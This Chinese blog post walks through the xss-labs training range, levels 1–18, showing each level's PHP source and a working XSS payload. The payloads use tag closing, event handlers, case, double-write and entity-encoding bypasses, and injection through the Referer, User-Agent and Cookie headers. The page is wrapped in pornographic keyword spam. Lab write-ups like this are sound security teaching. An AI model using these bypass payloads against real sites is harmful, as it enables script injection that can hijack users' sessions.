日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Xss-labs闯关总结

發布時間:2024/9/30 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Xss-labs闯关总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

      • 前言:
      • Level 1 無過濾機制
          • 查看后臺源碼:
          • 通關代碼:
      • Level 2 閉合標簽
          • 查看后臺源碼:
          • 通關代碼:
      • Level 3 單引號閉合 + 添加事件
          • 查看后臺源碼:
          • 通關代碼:
      • Level 4 雙引號閉合 + 添加事件
          • 查看后臺源碼:
          • 通關代碼:
      • Level 5 新建標簽
          • 查看后臺源碼:
          • 通關代碼:
      • Level 6 大小寫繞過
          • 查看后臺源碼:
          • 通關代碼:
      • Level 7 雙寫繞過
          • 查看后臺源碼:
          • 通關代碼:
      • Level 8 編碼繞過
          • 查看后臺源碼:
          • 通關代碼:
      • Level 9 檢測關鍵字
          • 查看后臺源碼:
          • 通關代碼:
      • Level 10 隱藏信息
          • 查看后臺源碼:
          • 通關代碼:
      • Level 11 Referer信息
          • 查看后臺源碼:
          • 通關代碼:
      • Level 12 user-agent信息
          • 查看后臺源碼:
          • 通關代碼:
      • Level 13 cookie 信息
          • 查看后臺源碼:
          • 通關代碼:
      • Level 14 exif xss
      • Level 15 ng-include 屬性
          • 查看后臺源碼:
          • 通關代碼:
      • Level 16 空格實體轉義
          • 查看后臺源碼:
          • 通關代碼:
      • Level 17 參數拼接
          • 查看后臺源碼:
          • 通關代碼:
      • Level 18 參數拼接
          • 查看后臺源碼:
          • 通關代碼:
      • Level 19 — 20 Flash xss

前言:

時間過的真快,一轉眼大一就過去了,趁著這個暑假好好補補課,通過 xss-labs 靶場練習一下 XSS 注入,關于 XSS 的介紹可以看這篇文章:文章鏈接


Level 1 無過濾機制


來到題目頁面,發現并沒有輸入框,可以看到在url欄中傳了一個參數,所以在該參數處進行嘗試傳入其它參數

發現頁面有所變化,在 “歡迎用戶” 后有一個顯示位能對傳入的參數進行輸出,在下方payload長度處也有字符串長度的統計,嘗試構造腳本 <script>alert(1)</script>

成功通過。

查看后臺源碼:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level2.php?keyword=test"; } </script> <title>歡迎來到level1</title> </head> <body> <h1 align=center>歡迎來到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>歡迎用戶".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>

根據源碼可以看出,程序將用戶以GET方式提交的參數name,沒有做任何防御措施就直接顯示在HTML頁面中,因此存在反射型的XSS漏洞,直接將代碼<script>alert(1)</script>傳入name變量中即可觸發漏洞。

通關代碼:
?name=<script>alert(1)</script>

Level 2 閉合標簽


直接輸入上一關的 payload,發現直接被原樣輸出了

右鍵查看頁面源碼:

可以看到在<h2>標簽中的惡意代碼被轉義了,盲猜在服務器端用 htmlspecialchars() 函數對 keyword 參數的值進行了處理。

接著可以看到插入到 value 參數中的惡意代碼并沒有被轉義而是直接原樣返回的,那么就從這里入手,要想程序在這里執行彈窗代碼,只需要將屬性的標簽閉合就可以了,輸入 "><script>alert(1)</script>

補充:htmlspecialchars函數
成功通過。

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>

可以看到在<h2>處使用了 htmlspecialchars() 函數進行過濾,但是在submit value屬性處沒有過濾,從而導致XSS漏洞。

通關代碼:
?keyword="><script>alert(1)</script>

Level 3 單引號閉合 + 添加事件


來到Leval 3,還是先嘗試基本的彈窗代碼 <script>alert(1)</script>

并沒有成功彈窗,右鍵看一下網頁源碼

發現這兩處都將 < , > 轉義了,猜測服務器端在這兩處都用 htmlspecialchars() 函數進行了處理,那么怎樣才能成功執行彈窗的代碼呢?

這時候我們就要想辦法繞開這些標簽去使用新標簽,瀏覽器中有一些事件可以執行js代碼,這里使用 onclick 事件,觀察源代碼為單引號閉合,把value給閉合掉,構造payload:'onclick='javascript:alert(1)'

補充: 事件介紹

可以看到,在提交之后,沒有立刻彈出,這里還需要點擊一下文本框,讓事件觸發。

成功通過。

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>

可以看到服務器端在頁面顯示的位置對參數值都用 htmlspecialchars() 函數進行了處理。

通關代碼:
?keyword='οnclick='javascript:alert(1)'

Level 4 雙引號閉合 + 添加事件

老樣子嘗試彈窗 <script>alert(1)</script>

發現上方顯示位并沒有什么特殊的變化,但是下方搜索框中的 < , > 標簽都被過濾掉了.

右鍵查看網頁源碼:

對上方顯示位仍猜測是 htmlspecialchars 函數處理,下方顯示位應該是用函數替換掉了,并且下方的閉合標簽為雙引號。那么仍使用上關的思路,用事件觸發,構造payload:" onclick='javascript:alert(1)'

成功通過。

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

果然,第一個顯示位使用了 htmlspecialchars 函數處理,第二個顯示位經過兩個 str_replace() 函數對尖括號進行了過濾,但是不全面,從而存在XSS安全隱患。

通關代碼:
?keyword="onclick='javascript:alert(1)'

Level 5 新建標簽


同樣的套路,先嘗試 <script>alert(1)</script>

彈窗失敗,上方顯示位沒什么變化,下方搜索框中的第一個 <script> 變成了 <scr_ipt>

右鍵查看源碼:

上方顯示位應該還是 htmlspecialchars 處理,搜索框中的 payload 可能是匹配到關鍵字進行的替代。

那么用事件來試一下,閉合標簽仍是雙引號,輸入代碼:"onclick='javascript:alert(1)'

彈窗也失敗了,右鍵查看源碼

發現on變成了o_n ,猜測后臺對on進行了過濾,替換成了 o_n,測試一下,輸入on

果然,那這樣帶 on 的事件就不能用了。

嘗試使用大小寫繞過,測試代碼:On<Script>

繞過失敗,全變成了小寫,這里應該還用了轉小寫的函數。

此處既然無法通過 <script> 標簽和事件來執行js代碼的話,那么可以換一個標簽來執行js代碼,使用新標簽要先閉合<input>標簽,構造代碼:"><a href=javascript:alert(1)>xss</a>

補充:javascript偽協議

點一下那個鏈接就行了,右鍵看一下源碼

可以看到鏈接成功嵌入!

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

確實和我們猜的一樣,分別對 on 和<script>進行了過濾,也用 strtolower函數做了大小寫過濾。🆗,下一關!

通關代碼:
?keyword="><a href=javascript:alert(1)>xss</a>

Level 6 大小寫繞過


接著使用前面幾關的注入方式測試,發現都不行

<input name=keyword value="<scr_ipt>alert(1)</script>"> <input name=keyword value=" "o_nclick='javascript:alert(1)' "> <input name=keyword value=" "><a hr_ef="javascript:alert(1)">xss</a>">

發現這里的 script、onclick、href 都被過濾了。不知道是不是存在大小寫過濾,嘗試下大小寫繞過,可以看到閉合符合是雙引號,構造payload:

"ONclick='javascript:alert(1)'

發現可以!

同理 "><scRipt>alert(1)</scRipt>、 "><a hREF=javascript:alert(1)>xss</a> 也可以。

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

可以看出系統對 <script、on、src、data、href 進行了過濾,但是沒有對大寫字母進行修改,所以我們可以使用 “大小寫繞過” 進行注入,🆗 Next !

通關代碼:
?keyword="ONclick='javascript:alert(1)'

Level 7 雙寫繞過


先用 <script>alert(1)</script> 測試

右鍵源碼

發現 script 直接被過濾了,嘗試大小寫繞過也不行,再嘗試

"onclick='javascript:alert(1)'

"><a href=javascript:alert(1)>xss</a>



發現 on href 也被過濾了,嘗試大小寫也不行。但是道高一尺,魔高一丈,有人想出了雙寫繞過,哈哈哈。

構造命令:

"><scrscriptipt>alert(1)</scrscriptipt>


繞過成功!

查看后臺源碼:
<?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>

可以看到參數做了小寫轉義,關鍵字直接被刪去,上面輸出位使用了 hemlspecialchars 轉義。好的,下一關!(≧?≦)ノ

通關代碼:
?keyword="><scrscriptipt>alert(1)</scrscriptipt>

Level 8 編碼繞過


老套路,嘗試代碼 <script>alert(1)</script>

右鍵觀察源碼

可以看到輸入的內容被插在了a標簽的 href 屬性值中并且 script 被轉義成了 scr_ipt,想到使用 javascript 偽協議,嘗試代碼:

javascript:alert(1)

可以看到這里 script 被轉義,嘗試大寫繞過,發現不行,既然這樣,我們試試編碼,看能否繞過。

程序將 script 中的 ri 變成了 r_i,所以對 r 和 i 編碼試試(也可以將script全編碼了),將 ri 轉換為 html 實體編碼(16進制或10進制,還可以使用url編碼等其它網頁語言)編碼工具

構造payload:

javasc&#114;&#105;pt:alert(1)

點擊鏈接

通關成功!

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情鏈接 /> </form> </center>'; ?>

可以看到敏感字符已經被加下劃線過濾;雙引號也被過濾,所以說也沒有辦法給屬性值閉合;還有小寫處理,也不能大小寫要過;沒有敏感字符去除,不能雙寫繞過。

通關代碼:
javasc&#114;&#105;pt:alert(1)

Level 9 檢測關鍵字


上來看到和上關一樣讓輸入鏈接,直接輸入上題代碼javasc&#114;&#105;pt:alert(1),發現不行。

右鍵查看源碼:

發現 href 處只有一串 “您的鏈接不合法,有沒有!”,到這里沒啥頭緒了,只能去看后臺源碼了。

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情鏈接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) {echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';} else {echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>"; ?>

發現和上關相比多了個strpos函數,這函數的意思是輸入的字符串里面必須要有http://字符,我們給他加上,然后再注釋掉,嘗試

構造命令:

javasc&#114;&#105;pt:alert(1)//http://


通關成功!🆗,下關。

通關代碼:
javasc&#114;&#105;pt:alert(1)//http://

Level 10 隱藏信息


來到這關發現輸入框沒了,只能在url欄輸入,先用經典代碼測試一下<script>alert(1)</script>:

顯然不行,右鍵查看源碼:

可以看到,顯示位應該還是使用 htmlspecialchar 函數處理了,并且還看到了頁面隱藏的三個輸入框,現在不僅能給keyword傳參,還能給三個input傳參。

嘗試給其余三個參數傳參

右鍵查看源碼:

發現只有 t_sort 接受了我們傳的參數(雙引號閉合),那也就是說可以從 t_sort 下手了,同時要想使用這個標簽需要注釋掉后面原有的 hidden 類型,把它改為其它類型,如 button 或 type 類型。

先測試一下,構造payload:

?keyword=1&t_sort=1" <script>alert(1)</script> type=button >//

還是不行,右鍵查看源碼發現過濾了< >那就使用 onclick 事件試一下。

構造payload(注釋符可加可不加):

?keyword=1&t_sort=1" onclick='javascript:alert(1)' type=button >//


點一下按鈕,成功過關!

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?>

觀察代碼,如我們料想的那樣,str 被 htmlspecialchars 過濾了,也只有 t_sort 接受參數值,對 t_sort 的過濾只有左右尖括號,所以注入顯得很容易。

看來作者目的是提醒我們注意隱藏框以及假輸入框的存在。

通關代碼:
?keyword=1&t_sort=1" onclick='javascript:alert(1)' type=button >//

Level 11 Referer信息


看起來與上一關一樣,直接右鍵查看源碼:

可以發現這關隱藏了四個輸入框,值得注意的是,第四個隱藏輸入框 t_ref 已經有了值,并且可以看出是第十關我們輸入的payload。

嘗試給 keyword 賦值測試 <script>alert(1)</script>

顯然不行,右鍵源碼顯示我們輸入的代碼應該是被 htmlspecialchars 函數轉義了,那么再測試一下這四個隱藏的輸入框哪個能傳參。

?keyword=1&t_link=2&t_history=3&t_sort=4&t_ref=5


可以看到又只有 t_sort 被賦值成功,同時 t_ref 的值沒有了,嘗試對 t_sort 的屬性進行閉合。

?keyword=1&t_sort=2" onclick='javascript:alert(1)' type=button >//


發現 “引號” 和 “尖括號” 都被轉義了,猜測還是 htmlspecialchars 函數過濾了 。如果雙引號不能用,也就不能閉合標簽去創造自己的事件,所以要另外想其他的辦法。

前面我們還記得 t_ref 是第十關的 payload 網址,而 ref 又可能是 http 頭中的 referer 屬性,我們且可嘗試一下抓包進行注入。

修改 referer 屬性,傳入值為1

右鍵源碼可以看到,t_ref 的值變為1了,那我們就可以從這入手。嘗試閉合value值并創建自己的事件,構造payload:

Referer:1"onclick='javascript:alert(1)' type=button >//


放包,點擊按鈕即可過關!

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?>

可以看到 keyword 進行了 htmlspecialchars 處理,t_sort 參數也被 htmlspecialchars 處理再次賦給value,接受 HTTP_Referer 頭部參數進行了除尖括號處理,只要沒有特殊字符轉義,沒有雙引號去除,那么這個標簽的屬性就可能是危險的。

通關代碼:
Referer:1"onclick='javascript:alert(1)' type=button >//

Level 12 user-agent信息


直接右鍵看源碼吧

又發現四個隱藏框,其中第四個有點熟悉,t_ua 聯想到 HTTP 請求頭部的 User-Agent,猜測上一題是同類型的。

嘗試構造paypoad:

User-Agent:1" onclick='javascript:alert(1)' type=button > //

抓包,修改 User-Agent 的值:

放包,點擊按鈕即可通關!

查看后臺源碼:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?>

換湯不換藥,意在讓我們了解不同的注入位置,仍舊像上一關那樣分析就行了。

通關代碼:
User-Agent:1" onclick='javascript:alert(1)' type=button > //

Level 13 cookie 信息


右鍵查看源碼:

看到參數 t_cook,猜測可能是 cookie,抓包,仍舊是相同的方式,在 cookie 處進行測試。

給 user 賦 cookie 值,構造payload(這次試試text):

Cookie: 1" onclick='javascript:alert(1)' type=text > //


點擊輸入框,即可過關!

查看后臺源碼:
<?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?>

可以看到設置了一個cookie,user : call me maybe?,keyword 和 t_sort 都經過 htmlspecialchars 函數處理,cookie 只有標簽去除,沒有其他過濾,一樣的注入,同上。

通關代碼:
Cookie: user=1" onclick='javascript:alert(1)' type=text > //

Level 14 exif xss


這關環境好像有問題,做不了。查了一下知道這題是 exif xss 什么的

想知道這關怎么做的可以看這篇文章:參考文章

Level 15 ng-include 屬性


右鍵查看源碼:

看到 src 的參數在這顯示了,那就在這測試一下,測試 payload:<script>alert(1)</script>

特殊字符被轉義了,估計沒戲了,又看到 ng-include,不知道是啥,去百度查了一下,貌似跟 php 中的 include 函數類似,是將一個文件給包含進來。

ng-include的用法:

  • ng-include 指令用于包含外部的 HTML文件。

  • 包含的內容將作為指定元素的子節點。

  • ng-include 屬性的值可以是一個表達式,返回一個文件名。

  • 默認情況下,包含的文件需要包含在同一個域名下。

  • 值得注意的是:

  • 如果單純指定地址,必須要加引號

  • 加載外部html,script標簽中的內容不執行

  • 加載外部html中含有style標簽樣式可以識別

  • 可以包含同一域名的 html 文件,那也就是說可以包含之前做過的有xss漏洞的文件,但是不能執行script中的代碼,那就用新建標簽吧

    嘗試構造代碼:

    ?src='level1.php?name=<a href="javascript:alert(1)">xss</a>'


    點擊鏈接即可通關!或者使用下面這個更簡單。

    ?src='level1.php?name=<img src=1 onerror=alert(1)>'

    查看后臺源碼:
    <html ng-app> <head><meta charset="utf-8"><script src="angular.min.js"></script> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level16.php?keyword=test"; } </script> <title>歡迎來到level15</title> </head> <h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>

    看到src參數經過了函數處理。

    通關代碼:
    ?src='level1.php?name=<a href="javascript:alert(1)">xss</a>'

    or

    ?src='level1.php?name=<img src=1 onerror=alert(1)>'

    Level 16 空格實體轉義


    輸入測試代碼 <script>alert(1)</script>

    發現 script 沒了,右鍵看下源碼:

    發現 script 和 “/” 被替換成了&nbsp;(空白符),那嘗試一下不帶 script 和 “/”的payload

    <img src=1 onerror=alert(1)>

    并不行,右鍵源碼:

    emm… 貌似空格也被替換了,好吧,只能想辦法使用其它的來代替空格了,想到在html里,換行是可以代替空格的。

    <img src=1 onerror=alert(1) >

    使用URL編碼將回車符轉換為%0d(或換行符%0a)替代即可。

    <img%0dsrc=1%0donerror=alert(1)>


    成功彈窗!

    查看后臺源碼:
    <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4); echo "<center>".$str5."</center>"; ?>

    對關鍵字進行了空白實體替代。

    通關代碼:
    ?keyword=<img%0dsrc=1%0donerror=alert(1)>

    Level 17 參數拼接


    這題很簡潔,圖片都沒有,點擊鏈接也確實直接進入下一關了。

    右鍵查看源碼:

    從 url 框看到是通過 arg01 和 arg02 兩個參數進行傳參,傳參之后,對兩個參數進行了拼接,那么是不是可以直接使用事件來觸發呢?

    構造payload(注意空格):

    ?arg01= onmouseover&arg02=alert(1)

    并沒反應,右鍵查看源碼:

    到這沒啥思路了,查了一下,知道這里有個 swf 文件沒有被加載出來。

    swf文件:即shockwave flash文件,能被flash player打開

    firefox加載出不來,換成Google,雖然圖片還是出不來,但成功彈窗了!

    還可以構造這樣的payload:

    ?arg01=a&arg02=b onmouseover=alert(1)

    注意:由于本關加載不出圖片無法點擊,所以用不了 onclick 事件。

    查看后臺源碼:
    <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>

    并沒有什么的過濾,直接構造事件。

    通關代碼:
    ?arg01= onmouseover&arg02=alert(1)

    or

    ?arg01=a&arg02=b onmouseover=alert(1)

    Level 18 參數拼接


    好家伙,更干凈了,看到網頁源碼后,又有個swf,好吧,還是換google吧。

    看起來和上一關一樣,直接輸入上題代碼

    ?arg01= onmouseover&arg02=alert(1)

    woc,直接彈窗了,有點疑惑。

    再測試一下這個,發現也行。

    ?arg01=a&arg02=b onmouseover=alert(1)

    查看后臺源碼:
    <?php ini_set("display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>

    看到和上關比,src多了雙引號,不知道這題是啥意思。。。

    通關代碼:

    同上

    Level 19 — 20 Flash xss

    這兩題太難了,暫時先擱著吧 (→_→)

    參考文章:

    https://www.cnblogs.com/ruoli-s/p/14285233.html
    https://blog.csdn.net/qq_41734243/article/details/105991109
    https://404sprint.github.io/2020/10/28/xss-labs/
    https://cloud.tencent.com/developer/article/1665021

    與50位技術專家面對面20年技術見證,附贈技術全景圖

    總結

    以上是生活随笔為你收集整理的Xss-labs闯关总结的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 强伦人妻一区二区三区视频18 | 国产寡妇亲子伦一区二区三区四区 | 国产精品伦理一区 | 快播av在线 | 蜜臀av性久久久久av蜜臀妖精 | 国产成人精品无码免费看81 | 丁香花五月天 | 亚洲精品午夜 | www.97ai.com| 原创露脸88av | 熟女人妻aⅴ一区二区三区60路 | 象人高潮调教丨vk | 亚洲欧美乱综合图片区小说区 | 精品国产一区二区三区久久久蜜臀 | 欧美激情国产精品免费 | japanesehdxxxx| 免费看裸体网站 | 人人妻人人做人人爽 | 高潮videossex高潮 | 一区二区国产欧美 | 在线精品视频一区 | 国产精品久久久久久亚洲av | 超碰在线网 | 韩产日产国产欧产 | 污污网站免费在线观看 | 四虎音影| 香蕉视频ap | 午夜理伦三级理论 | 欧美激情性做爰免费视频 | 欧美一级淫片aaaaaa | 久久综合在线 | 国产aⅴ无码片毛片一级一区2 | 亚洲激情偷拍 | 日本一本不卡 | 91亚洲国产成人精品一区二区三 | 四虎视频 | 久久婷婷av | 每日更新在线观看av | 极品蜜桃臀肥臀-x88av | 翔田千里x88aⅴ | 精品视频在线一区二区 | 日日夜夜狠狠 | 午夜老司机免费视频 | 无码人妻丰满熟妇啪啪网站 | 国产一区二区三区视频免费在线观看 | 美日韩一区 | 亚洲乱码国产乱码精品精的特点 | 日本中文字幕在线观看视频 | 超碰97色 | 国产一级高清视频 | 久久精品在线 | www.日本黄 | 在线国产黄色 | 91成年视频| 中文字幕日韩专区 | 都市激情麻豆 | 久久精品视频免费播放 | 黄色免费视频观看 | 加勒比波多野结衣 | 午夜电影网站 | 国产精品传媒麻豆hd | 国产精品手机视频 | 69成人网 | 黄色片大全 | www.69pao.com| 国产日韩一区二区三区在线观看 | 国产精品破处 | 懂色一区二区二区av免费观看 | 日韩经典在线 | 日日干日日操 | 三上悠亚ed2k | 亚洲性夜| 肥臀熟女一区二区三区 | 国产熟妇搡bbbb搡bbbb搡 | 国产在线不卡av | 青青草成人网 | 国产午夜视频 | 中日韩精品一区二区三区 | 综合天天 | 天天射天天舔 | 欧美理伦少妇2做爰 | 欧美成人精精品一区二区频 | 里番acg★同人里番本子大全 | 另类男人与善交video | av免费久久| 偷偷操av| 麻豆tv在线观看 | 四虎黄色网 | 福利视频免费看 | 91综合久久 | 日韩精品极品视频在线观看免费 | 久久久久免费 | 亚洲成人一二三 | 永久免费54看片 | 美日韩一区| 国产精品资源在线 | 亚洲 欧美 激情 小说 另类 | 午夜精品国产精品大乳美女 | 美女日日日 |